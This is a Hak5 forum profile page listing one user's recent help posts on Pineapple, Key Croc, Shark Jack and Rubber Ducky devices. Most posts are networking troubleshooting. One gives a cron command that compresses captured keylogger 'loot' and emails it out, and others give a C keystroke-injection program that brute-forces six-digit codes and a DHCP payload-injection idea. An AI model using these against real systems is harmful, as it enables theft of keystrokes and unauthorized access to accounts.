Jump to content

kdodge

Active Members
  • Content Count

    204
  • Joined

  • Days Won

    5

2 Followers

About kdodge

  • Rank
    Hak5 Zombie

Profile Information

  • Interests
    Hak5 Fan

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. Oh i see, option 224 is a "reserved" space. https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml Its probably blocked normally, that's why you need to force it. I'm not sure how/if you can force something like that from uci, but I have not looked too deeply into that. I'm kind of curious if you tried uci add_list dhcp.lan.dhcp_option_force='224,"my_payload_string"' what would happen, if part of the uci configure would work like that.
  2. just an idea, have you tried playing around with these yet: https://openwrt.org/docs/guide-user/base-system/dhcp_configuration#dhcp_options ?
  3. I think the Twin Duck is a.k.a the Composite Duck https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Source/Composite_Duck
  4. does the key croc have sendmail installed? $ crontab -e */10 * * * * echo -e "Subject:Loot\n" > sample_header.txt && tar cvf - /path/to/loot/folder/* | gzip -9 | base64 | cat sample_header.txt - | sendmail email@example.com && rm sample_header.txt This is untested, you may need to fiddle with it.
  5. With a Ubuntu/Mint/Kali distro (or probably any debian-base one), you grab the cross-compiling library MinGW from here: $ sudo apt-get update $ sudo apt-get install gcc-mingw-w64-x86-64 -y Grab the "brute.c" file and move it to your Desktop (or where ever you want to) $ cd ~/Desktop/ $ x86_64-w64-mingw32-gcc -o brute.exe brute.c And if there is no compiling errors, you should have a brand new "brute.exe" file on your Desktop that you will be able to run on a windows machine, and act just like(-ish) a ducky. It won't work for certain things like UAC bypass, and other things like that, that require an actual USB keyboard, that's where the real USB Rubber Ducky is quite useful. If what you are needing is to just type into a standard user app, this might just work. brute.c
  6. If you don't need the actual leveraging of a real keyboard, you might just be able to use a C script to do this: You would need to change the "main" to do what you need to do, maybe start with something like this: #include <windows.h> #include <stdio.h> #include <string.h> #include <stdint.h> /***rest of the functions here***/ int main(){ unsigned char launch[64]; uint32_t count = 0; gui_r(); Sleep(100); string("C:\\app\\software\\app.exe"); enter(); for(count = 0; count < 1000000; count++){ memset(launch, 0, sizeof(launch)); sprintf(launch, "%06d", count); Sleep(1000); string(launch); enter(); enter(); } return 0; }
  7. So in the past I've had problems using raspberry pi's, when the power is cut to a pi while data is being written to the SD card, it can fry the SD card permenetly damaging it. I have a stack of dead SD cards from doing this. I don't know for sure how the pineapple handles this, but if you have an extra (good/new) SD card available, you might try it out just to see if that resolves the problem. It's an easy test anyway...
  8. the web gui looks like the output from the "free" command $ free which is RAM, see if this program is installed $ lsblk it will list what disks, partitions, and mountpoints are setup/available. May give you ideas what is going on. also try the plain mount command, $ mount
  9. Disclaimer, i'm just a hobbyist and not official. Oh, I think what you are asking for is Windows version of the wp6.sh file, that I don't know if exists. Setting the static ip address is simple to do, but the enabling of IP forwarding and masquerading I don't know how to do. I did a quick google search for how to do ip forwarding in Windows and something keeps showing up, "Routing and Remote Access Service (RRAS)" and is only available to Window Server editions I believe. There might be ways to do it that I just don't know about though, The 3 big takeaway's I found in from the wp6.sh script are: 1) iptables -A POSTROUTING -t nat -j MASQUERADE 2) echo '1' > /proc/sys/net/ipv4/ip_forward # Enable IP Forwarding 3)route add default gw $spineapplegw $spineapplewan #add default gateway and also the setting static ip to 172.16.42.42. I think if you can achieve that in Windows you should be good to go. In theory...
  10. I'm having a little trouble understanding what the problem is. Is it that the pineapple has no internet, or is it that people connecting to the pineapple have no internet, or is it something else?
  11. I know one little trick to try, it's worked for me in the past, for some reason I've noticed that wifi MAC addresses don't like the first number to be odd. when you change the address, try making the first number even like 00:XX:XX:XX:XX:XX. It's a simple thing to try without more info.
  12. Okay, FYI I don not have a sharkjack to test this on, but I looked at the sharkjack's firmware and its based on OpenWRT. The OpenWRT way to adjust the network settings can be found here: https://openwrt.org/docs/guide-user/base-system/basic-networking the file "squashfs-root/usr/lib/config/switch3" contains the networking config where you might be able to make changes to it. The problem is, that it looks like this might be compiled into a squashfs archive, in which case it will not be a simple task to edit. If you can edit it, you might want to change it to something like this: config interface 'loopback' option ifname 'lo' option proto 'static' option ipaddr '127.0.0.1' option netmask '255.0.0.0' config interface 'lan' option ifname 'eth0' option proto 'none' option macaddr '62:11:22:aa:bb:cc' WARNING: I can't guarantee this will work at all and I don't want to be responsible for bricking a device, so proceed at your own risk.
  13. I'm wondering if the sharkjack uses "interfaces", does it have the file /etc/network/interfaces? maybe there's a man file for it, $ man interfaces This is the configuration file/system for most linux OSes
  14. you might need custom firmware to ctrl+space+X
×
×
  • Create New...